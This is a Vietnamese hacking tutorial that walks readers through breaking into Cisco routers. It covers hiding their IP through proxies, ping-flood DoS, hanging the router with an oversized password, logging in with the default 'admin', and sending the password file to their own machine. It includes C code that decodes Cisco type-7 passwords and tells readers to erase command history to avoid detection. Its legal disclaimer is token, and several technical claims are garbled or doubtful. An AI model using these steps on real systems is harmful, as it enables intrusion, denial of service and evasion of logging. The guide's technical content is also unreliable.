Chọc ngoáy các hệ thống Cisco
trang này đã được đọc
lần
Cảnh báo:
KHÔNG ĐƯỢC sử dụng tài liệu này để phá hoại các hệ thống cisco, hoặc thâm nhập
bất hợp pháp vào hệ thống. Tài liệu này chỉ nhằm mục đích giáo dục. Chỉ sử
dụng tài liệu này một cách hợp pháp (Wargames của các hacker chẳng hạn.), và
không được phá hoại bất kì cái gì. Đây là một bài học dẫn dắt từng bước một về
cách một những điểm yếu của cisco dẫn tới việc có thể bị truy nhập trái phép.
Nếu bạn bị bắt quả tang đang đột nhập vào một bộ dẫn đường cisco, hoặc làm rối
loạn hệ thống, bạn có thể làm gián đoạn hàng trăm người dùng internet, tốn kém
hàng ngàn đôla, cho nên chỉ sử dụng tài liệu này khi bạn được cho phép ! Sử
dụng sai tài liệu này sẽ làm cho bạn gặp rất nhiều rắc rối.
Chú ý: một số bài học được viết cho hệ Unix, và
không được chuyển soạn cho DOS/hay tương thích Windows, cho nên bạn sẽ phải
xem tài liệu này bằng trình duyệt Web, hoặc Microsoft Word.
Nội dung chính:
Trước khi bắt đầu:
- Địa chỉ IP là gì?
- ISP là gì?
- Gói tin TCP/IP là gì?
- Làm thế nào để giấu địa chỉ IP
- Sử dụng Telnet như thế nào
- Sử dụng HyperTerminal như thế nào
- Sử dụng Ping như thế nào
- Sử dụng TraceRoute như thế nào
- Sử dụng proxy server như thế nào
-------------------------------------
- Phần 1: Tại sao lại xâm nhập bộ dẫn đường cisco?
- Phần 2: Tìm một bộ dẫn đường cisco như thế nào ?
- Phần 3: Làm thế nào thâm nhập vào bộ dẫn đường cisco ?
- Phần 4: Phá mật khẩu như thế nào ?
- Phần 5: Sử dụng bộ dẫn đường như thế nào ?
-----------------------------------
Những thứ CẦN biết TRƯỚC khi bạn bắt đầu:
-----------------------------------
Địa chỉ IP là gì?
IP là từ viết tắt của Internet Protocol, địa chỉ IP được sử dụng bởi các máy
tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại
sao bạn lại bị IRC cấm, và là cách người ta tìm ra ISP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách
sau :
- bạn lướt qua một trang web, IP của bạn bị ghi lại
- trên IRC, bất kì ai cũng có thể có IP của bạn
- trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show
ip" người ta vẫn lấy được nó
- nếu bạn kết nối với một ai đó, họ có thế gõ "systat", và biết được ai đang
kết nối đên họ
- nếu ai đó gửi cho bạn một email với một đoạn mà java tóm IP, họ cũng có thể
tóm được IP của bạn
Có rất nhiều cách tóm địa chỉ IP, bao gồm cả việc sử dụng các chương trình
back-door như Sub7 hoặc NetBus.
------------------------------------
Thế nào là một ISP?
ISP viết tắt cho Internet Service Provider, đó là những công ty mang internet
đến cho bạn. Bạn kết nối đến họ mỗi khi bạn dial-up và tạo một kết nối. Mọi
người có thế phát hiện ra ISP của bạn chỉ đơn giản bằng cách traceroute bạn
(traceroute sẽ được giải thích sau). Nó sẽ trông như thế này:
tracert 222.222.22.22
Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.
-----------------------------------
Gói tin TCP/IP là gì?
TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, a Gói
tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi
đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi
các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói
tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một
người káhc!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ
thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình
cho phép bạn làm điều này. Bài giảng này sẽ không đưa ra cách sử dụng biện
pháp này trên bộ dẫn đường Cisco, những sẽ nằm trong tầm tay khi hack vào một
hệ thống. Nếu gặp rắc rối khi bạn thử hack vào một hệ thống, sử dụng cách
này...
------------------------------------
Làm thế nào để giấu IP của bạn:
Tìm một chương trình như Genius 2 hoặc DC IS, chúng sẽ cho phép bạn chạy
IdentD. Các chương trình này sẽ thay đổi phần đầu của IP máy tính của bạn ngay
lập tức! Dùng cách này khi bạn bị đuổi ra khỏi IRC chat room.... bạn sẽ có thể
quay lại ngay lập tức! Bạn cũng có thể sử dụng cách này khi bạn truy nhập vào
một hệ thống khác và như thế nó sẽ log id sai
------------------------------------
Sử dụng telnet :
Bạn mở telnet đơn giản băng cách chọn Start Menu rồi Run và gõ "telnet".
Một khi bạn đã mở được telnet, bạn sẽ muốn thay đổi một vài tính năng. Chọn
Terminal>Preferences. Tại đây bạn có thể thay đổi kích thước vùng đệm font, và
một cái thứ nữa. Bạn cũng có thể bật/tắt "local echo", nếu bạn bật,
máy tính sẽ hiển thị mọi thứ bạn gõ vào, và các máy tính khác cũng sẽ hiện cho
bạn thấy.
Và bạn có thể sẽ nhận được những thông điệp tương tự như thế này.
bạn gõ "hello", và bạn nhận được
hhelelollo
Điều này xảy ra bởi vì thông tin đã phản hồi lại và những gì nhận được là
những gì bạn đã gõ. Lí do duy nhất tôi dùng chương trình này bởi lẽ nó không
trả về những gì bạn gõ
Mặc định, telnet sẽ kết nối với một hệ thống bằng cổng telnet, cổng số 23. Và
từ bây giờ bạn sẽ không chỉ kết nối băng cổng 23, và khi bạn kết nối, bạn có
thể chọn đổi sang dùng cổng 25 chẳng hạn, cổng này được dùng bởi các mail
servers. Hoặc có thể là cổng 21, cho FTP. Có hàng nghì cổng, cho nên bạn phải
chọn đúng cổng cần thiết
----------------------------------
Sử dụng HyperTerminal:
HyperTerminal cho phép bạn thiết lập một "server" trên bất kì cổng nào của máy
tính của bạn để thu nhận thông tin đến từ các máy tính nhất định. Để làm được
điều này, chọn Start > Programs > Accessories > Communications >
HyperTerminal.
Đầu tiên bạn cần phải lựa chọn kết nối, bấm "TCP/IP Winsock", và sau đó đặt
vào máy tính mà bạn kết nối với, và số cổng. Bạn có thể sai khiến nó nghe
ngóng đầu vào bằng cách chọn Call>Wait for Call. Và bây giờ các máy tính khác
có thể kết nối với bạn bằng cổng đó, và bạn có thể chat hay truyền file.
----------------------------------
Sử dụng Ping:
Ping thật dễ dàng, chỉ cần mở MS-DOS, và gõ "ping địa_chỉ_ip", mặc định sẽ
ping 4 lần, nhưng bạn cũng có thể gõ
"ping ip.address -t"
Cách này sẽ làm máy ping mãi. Để thay đổi kích thước ping làm như sau:
"ping -l (size) địa_chỉ_ip "
Cái ping làm là gửi một gói tin đến một máy tính, sau đó xem xem mất bao lâu
gói tin rồi xem xem sau bao lâu gói tin đó quay trở lại, cách này xác định
được tốc độ của kết nối, và thời gian cần để một gói tin đi và quay trở lại và
chia bốn (gọi là "trip time"). Ping cũng có thể được dùng để làm chậm đi hoặc
đổ vỡ hệ thống bằng lụt ping. Windows 98 treo sau một phút lụt ping (Bộ đệm
của kết nối bị tràn – có qua nhiều kết nối, nên Windows quyết định cho nó đi
nghỉ một chút). Một cuộc tấn công “ping flood” sẽ chiếm rất nhiều băng thông
của bạn, và bạn phải có băng thông lớn hơn đối phương ( trừ khi đối phương là
một máy chạy Windows 98 và bạn có một modem trung bình, bằng cách đó bạn sẽ hạ
gục đối phương sau xấp xỉ một phút lụt ping). Lụt Ping không hiệu quả lắm đổi
với những đối phương mạnh hơn một chút. trừ khi bạn có nhiều đường và bạn kiểm
soát một số lượng tương đối các máy chủ cùng ping mà tổng băng thông lơn hơn
đối phương.
Chú ý: option –t của DOS không gây ra lụt ping, nó chỉ ping mục tiêu một cách
liên tục, với những khoảng ngắt quãng giữa hai lần ping liên tiếp. Trong tất
cả các hệ Unix hoặc Linux, bạn có thể dùng ping -f để gây ra lụt thực sự. Thực
tế là phải ping -f nếu bạn dùng một bản tương thích POSIX (POSIX - Portable
Operating System Interface dựa trên uniX), nếu không nó sẽ không phải là một
bản Unix/Linux thực sự, bởi vậy nếu bạn dùng một hệ điều hành mà nó tự cho nó
là Unix hay Linux, nó sẽ có tham số -f.
----------------------------------
Sử dụng TraceRoute:
Để lần theo kết nối của bạn(và xem tất cả các máy tính nằm giữa bạn và mục
tiêu), chỉ cần mở MS-DOS prompt, và gõ "tracert địa_chỉ_ip" và bạn sẽ thấy một
danh sách các máy tính nằm trên đường giữa máy tính bạn và đối phương.
Bạn có thể dùng cách này để xác định xem liệu có firewalls chặn? Và cách này
cũng cho phép xác định ISP của một ai đó (Internet Service Provider).
Để xác định ISP, chỉ việc đơn giản xem địa chỉ IP trước cái cuối cùng, đây
chắc chắn là một trong các bộ dẫn đường của một ISP.
Bản chất là gì? Đây là cách mà traceroute làm việc - một gói tin TCP/IP có một
giá trị trong phần đầu (đó là phần IP. Nếu bạn không biết nó là gì, hãy bỏ qua
vàthen ignore nó và đọc tiếp, điều đó không quan trọng) gọi là TTL, viết tăt
cho Time To Live. Một khi gói tin đi qua một bộ dẫn đường thì TTL của nó bị
trừ đi một. Đây là cách một bộ đếm chống lại khả năng xảy ra lỗi và một gói
tin sẽ bắn ra khắp nơi trên mạng, và lãng phí băng thông.
Cho nên khi một TTL cua một gói tin bằng 0, nó sẽ chết và một lỗi ICMP được
gửi trả về người gửi.
Bởi thế, đầu tiên traceroute gửi đi một gói tin có TTL bằng 1. Gói tin sẽ trở
lại nhanh chóng, qua việc nhận biết địa chỉ người gửi trong phần đầu của thông
báo lỗi ICMP, traceroute biết gói tin đã ở đâu trong lần bắn đầu tiên. Sau đó
nó gửi một gói tin với TTL có giá trị là 2, và nhận được kết quả trả về của
lần bắn 2, mang theo định danh của máy. Và điều này xả ra cho đến khi gói tin
đến đích.
Thật thú vị phải không? :-)
----------------------------------
Sử dụng proxy server:
Hãy tìm một proxy server chạy trên một cổng mà bạn chọn. Một khi bạn tìm ra,
kết nối đến nó bằng telnet hoặc hyperterminal và sau đó nối đến máy tính khác
bằng proxy server. Bằng cách này máy tính ở đầu kia sẽ không biết được địa IP
của bạn.
----------------------------------
Phần 1: Tại sao lại hack cisco router?
Có thể bạn thắc mắc.. tại sao lại hack cisco router?
Lí do là chúng thật là hữu ích để bẻ khoá các hệ thống khác...
Cisco routers rất nhanh, một số có tốc độ kết nối 18 T1 trên một hệ thống, và
chúng rất linh hoạt và chúng có thể sử dụng cho các cuộc tấn công DoS hoặc
hack vào các hệ thống khác bởi vì hầu hết chúng chạy telnet.
Có hàng nghìn gói tin chạy qua chúng một lúc, và ta có thể bắt và giải mã các
gói tin... Rất nhiều cisco routers được tin cậy, và cho phép bạn truy nhập
nhất định vào các máy tính khác trong mạng của nó.
----------------------------------
Phần 2: Tìm một cisco router
Tìm bộ dẫn đường Cisco là công việc tương đối dễ, hầu hế mỗi ISP đều dẫn qua
ít nhất một cisco router. Cách dễ nhất để tìm ra một bộ dẫn đường Cisco là
chạy traceroute từ dos (gõ "tracert" và địa chỉ IP của một máy tính khác), bạn
có thể lần ra nhiều thông tin nhờ các máy tính mà nó hiện ra giữa máy tính bạn
và máy tính của họ. Một trong số những hệ thống này có thể có cụm từ "cisco"
trong tên của nó. Nếu bạn tìm thấy điều gì đó tương tự như vậy, hãy copy lại
địa chỉ IP của nó.
Giờ đây bạn đã biết nơi có một cisco router, nhưng nó có thể được bảo vệ bởi
firewall, bạn nên kiểm tra xem nó có được bảo vệ không bằng cách ping nó một
vài lần, nếu bạn nhận được trả lời thì có thể là nó không bị khoá. Một cách
làm khác là thử truy nhập vào một số cổng của cisco router, điều này được thực
hiện dễ dàng bằng cách sử dụng telnet, và tạo một kết nối tới router bằng cổng
23.. Nếu nó đòi password, mà không hỏi username nghĩa là bạn đang kề bên
router, nhưng nếu nó đòi username, thì có lẽ là đã bị firewall.
Thử tìm một router không có firewall, bởi lẽ bài giảng này tutorial là về
routers chứ không phải về cách qua firewalls. Khi bạn đã tìm ra một hệ thống
ổn định, bạn cần tìm một proxy server cho phép sử dụng cổng 23, bằng cách này
IP của bạn sẽ không bị lưu lại bởi router.
---------------------------------
Phần 3: Đột nhập cisco router
Các Cisco router chạy phiên bản v4.1 (hiện còn rất phổ biến) có thể hạ gục dễ
dàng. Bạn chỉ cần kết nối với router bằng cổng 23 qua proxy server, và nhập
vào một chuỗi password KHỔNG LỒ, như là;
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
Chờ một chút, hệ thống cisco có thể sẽ khởi động lại, trong trường hợp đó bạn
sẽ không hack được bởi vì chúng offline.. Nhưng chúng thường treo khoảng 2-10
phút, và bạn có thể thâm nhập được.
Nếu cả hai trường hợp đều không xảy ra, nghĩa là nó không chạy phần mềm ngon
ăn, trong trường đó bạn có thể thử một vài kiểu tấn công DoS, giống như một
lượng ping khổng lồ. Mở dos và gõ "ping -l 56550 cisco.router.ip -t", this
will do the same trick for you.
Khi bị treo, mở một kết nối khác đến một vài proxy khác, và dùng password
"admin", lí do vì đây là mật khẩu mặc định của router, và khi nó tạm thời bị
ngắt nó sẽ chuyển sang chế độ mặc định.
Khi bạn đã đăng nhập, bạn cần giành lấy file password ! Các hệ thống chạy
những phần mềm khác nhau nhưng đa số sẽ có lệnh "htl-textil" hoặc gì đó, bạn
gõ "?" để hiện ra danh sách các lệnh, bạn sẽ thấy một danh sách khổng lồ các
lệnh, ở đâu đó bạn sẽ thấy một lệnh chuyển đổi, dùng nó để lấy password file
của admin (người dùng hiện tại) và gửi đến địa chỉ IP ở cổng 23. Nhưng trước
khi làm vậy, hãy đặt HyperTerminal chờ thông tin từ cisco router. Một khi bạn
gửi file file, HyperTerminal sẽ hỏi xem bạn có đồng ý nhận file này không,
chọn đồng ý và lưu nó xuống đĩa. Thoát.
Bạn đã qua phần khó khăn nhất, nghỉ một chút và chuẩn bị phá password!
------------------------------
Phần 4: phá password
Giờ đây bạn đã có được file password, bạn cần phải bẻ khoá nó thì mới có thể
truy nhập access router lần nữa. Để làm việc này cần chạy một chương trình đại
loại như John the Ripper hoặc một chương trình nào khác để bẻ file password,
và bạn có thể bẻ khoá được nó.
Đây là cách dễ nhất, và tôi khuyên bạn dùng cách này. Một cách có thể thử bẻ
khoá chúng. Để làm vạy bạn cần một phần mềm giải mã, phải thật kiên nhẫn.
Để giải mã cisco password, bạn phải dịch đoạn mã sau trong linux:
#include <stdio.h>
#include <ctype.h>
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}
Nếu bạn không có Linux, chỉ còn nước bẻ password bằng cách tấn công từ điển
hoặc brute-force file đó bằng John the Ripper hoặc một chương trình bẻ khoá
khác.
-------------------------------
Phần 5: Sử dụng router
Để sử dụng thiết bị cao cấp tuyệt vời này, bạn phải kết nối tới chúng, sử dụng
proxy nếu không muốn IP của bạn log. Khi đã đăng nhập, bạn nên tắt phần
history để không ai có thể biết bạn đã làm gì, gõ vào "terminal history size
0". Và nó sẽ chẳng ghi lại gì! Gõ "?" để hiện một danh sách tất cả các lệnh
của router, và bạn sẽ dùng được hầu hết trong số chúng.
Các router thường có telnet, và bạn có thể dùng telnet để kết nối connect tới
các hệ thống khác, (như một hệ unix) và hack chúng. Nó cũng được trang bị ping
và traceroute-bạn có thể sử dụng chúng để theo dõi hệ thống hoặ tấn công DoS.
Bạn còn có thể sử dụng nó để bắt các gói tin, nhưng tôi khuyên bạn không nên,
bởi lẽ không phải lúc nào nó cũng hoạt động, và có thể làm cho bạn bị phát
hiện...
---------------------------------
Nếu lần đầu bạn chưa hack được cisco, hoặc thậm chí lần thứ hai. Nó đòi hỏi kĩ
năng và sự kiên nhẫn. Đây chỉ là những chỉ dẫn... Và nhớ đừng làm gì BẤT HỢP
PHÁP.
--
Get your free email from http://www.hackermail.com
Powered by OutBlaze